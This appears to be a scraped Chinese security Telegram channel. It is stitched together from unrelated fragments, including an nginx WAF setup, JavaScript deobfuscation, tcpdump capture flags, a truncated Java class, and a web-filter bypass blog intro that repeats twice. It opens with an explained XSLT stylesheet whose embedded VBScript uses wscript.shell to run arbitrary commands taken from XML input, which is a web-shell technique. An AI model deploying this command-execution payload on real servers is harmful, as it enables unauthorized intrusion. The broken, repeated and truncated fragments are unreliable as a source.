在第二行中,xmlns:msxsl为自定义函数块的命名空间,xmlns:zcg为自定义函数的命名空间与前缀,可以任意命名。
第三行的msxsl:script声明了一个脚本块,其language属性指定了要使用的脚本语言,implements-prefix则与前面xmlns:zcg这个命名空间前缀相对应。
在第七行通过zcg:xml(string(.))调用了这个自定义函数,由于自定义函数只能传入字符串、数字、日期等标量,以及XML的一系列对象,所以先通过string内置函数转换为字符串从而获取text,再传入函数中。同样的,由于Response、Server等对象是asp内置的,所以既不能在自定义函数中访问,也不能传递给自定义函数,所有的数据传递都是通过字符串进行的。
脚本块的函数则是简单的执行-返回,其返回值会替换所匹配的节点的内容,所以上述xsl的作用就是:将指定xml中/root节点的文本作为命令执行,并返回结果。
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="vbscript" implements-prefix="zcg">
<![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml(string(.))"/>
</xsl:template>
</xsl:stylesheet>
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
这样做的情况下,如果站点比较多,就会导致nginx配置比较乱,而且当nginx配置多站点的情况下,会出现一些问题。我这里就借用安全宝的一份对比表来说明。
当一个用户访问到waf服务器时,首先获取host参数,根据网址配置里查询到对应的upstream,给预先定义的变量$upstream,从而达到正确转发的目的。
而且后期还可以将网站信息存储在数据库,当第一次访问的时候再加载到内存,达到动态加载的目的
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
因此后面的c1h82by0(document)就显得很是危险,所以让我们看看s4tb[0]的内容并注释掉后面的内容,记得之前说的嘛?一个script块中的代码一直到出错为止都是可以正常运行的,所以不用管之后的代码会不会出错了,主要是后面的代码很可能是恶意代码,不能让恶意代码在我们自己的电脑上跑起来。
至此,这个页面的核心内容我们已经全部了解了,至于后面的几个变量,解法也是一样的,如果想要练手的话,可以试着将页面内容全部还原成无混淆状态试试看。页面内容见附件。
function mylog(current, max)
{
if(current <= max)
{
console.log(current);
add(current+1, max);
}
}
mylog(1,3);
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2🔥1
本文总结记录了 5 种抓包方式,掌握其一即可进行实践,欢迎大家一起交流分享
在电脑主机上使用
猎豹 Wifi之类的工具,开启热点,将所要测试的手机连接该热点,记录其IP地址该方法简单粗暴高效,可以将捕获的数据包随时保存下来,便于后续分析或者进行 PCAP 可视化分析。
关于命令行工具 tshark 在此不做赘述,感兴趣的读者自行研究。
-vv:获取详细的包信息(注意是两个 v 不是 w)
-s 0:不限数据包的长度,如果不加则只获取包头
-w xxx.pcap:捕获数据包名称以及存储位置(本例中保存在 sdcard 路径下,数据包名为 capture.pcap)
-i eth1:捕获制定的网卡(在 genymotion 虚拟机中,使用 busybox ifconfig 命令可以查看相关信息,一般 genymotion 的 ip 地址都为 10.xx.xx.x)
如果你想指定捕获的数据包长度,可以使用 -c 参数(例如 -c 128)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
package test;
import java.io.File;import java.net.URL;import java.sql.Connection;import java.sql.DriverManager;import java.sql.Statement;
public class Test { public static void main(String[] args) throws Exception{
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
这是关于绕过网络过滤器的一系列博客文章的第一部分,每一部分都会介绍越来越高级的技术。
🌲 🌲 🌲 🌲 🌲 🌲 🌲
早在 2025 年(是的,那是很久以前的事了),我看到一条推文内容是关于如何使用 SNI 欺骗来绕过网络过滤器
🎩 🎩 🎩 🎩 🎩 🎩
在开始探讨绕过网络过滤器/代理的各种技术之前,我想先简要介绍一下什么是网络过滤器以及它们可以有哪些不同的配置。
🧝 🧝 🧝 🧝 🧝 🧝 🧝
网络过滤器是一种用于检查互联网流量(特别是 HTTP 和 HTTPS 请求)的系统,以确定请求是否合法或是否应该被阻止。这些过滤器通常被称为 HTTP 代理。在许多情况下,网络过滤器会集成到防火墙(也称为应用层防火墙、企业网关、下一代防火墙等)中,这些防火墙除了具备标准的 TCP/IP 防火墙功能外,还具有入侵检测等附加功能。网络过滤器也可以运行在专用的代理服务器上,该服务器仅负责检查和过滤网络流量。
🚗 🚗 🚗 🚗 🚗 🚗 🚗
早在 2025 年(是的,那是很久以前的事了),我看到一条推文内容是关于如何使用 SNI 欺骗来绕过网络过滤器
在开始探讨绕过网络过滤器/代理的各种技术之前,我想先简要介绍一下什么是网络过滤器以及它们可以有哪些不同的配置。
网络过滤器是一种用于检查互联网流量(特别是 HTTP 和 HTTPS 请求)的系统,以确定请求是否合法或是否应该被阻止。这些过滤器通常被称为 HTTP 代理。在许多情况下,网络过滤器会集成到防火墙(也称为应用层防火墙、企业网关、下一代防火墙等)中,这些防火墙除了具备标准的 TCP/IP 防火墙功能外,还具有入侵检测等附加功能。网络过滤器也可以运行在专用的代理服务器上,该服务器仅负责检查和过滤网络流量。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM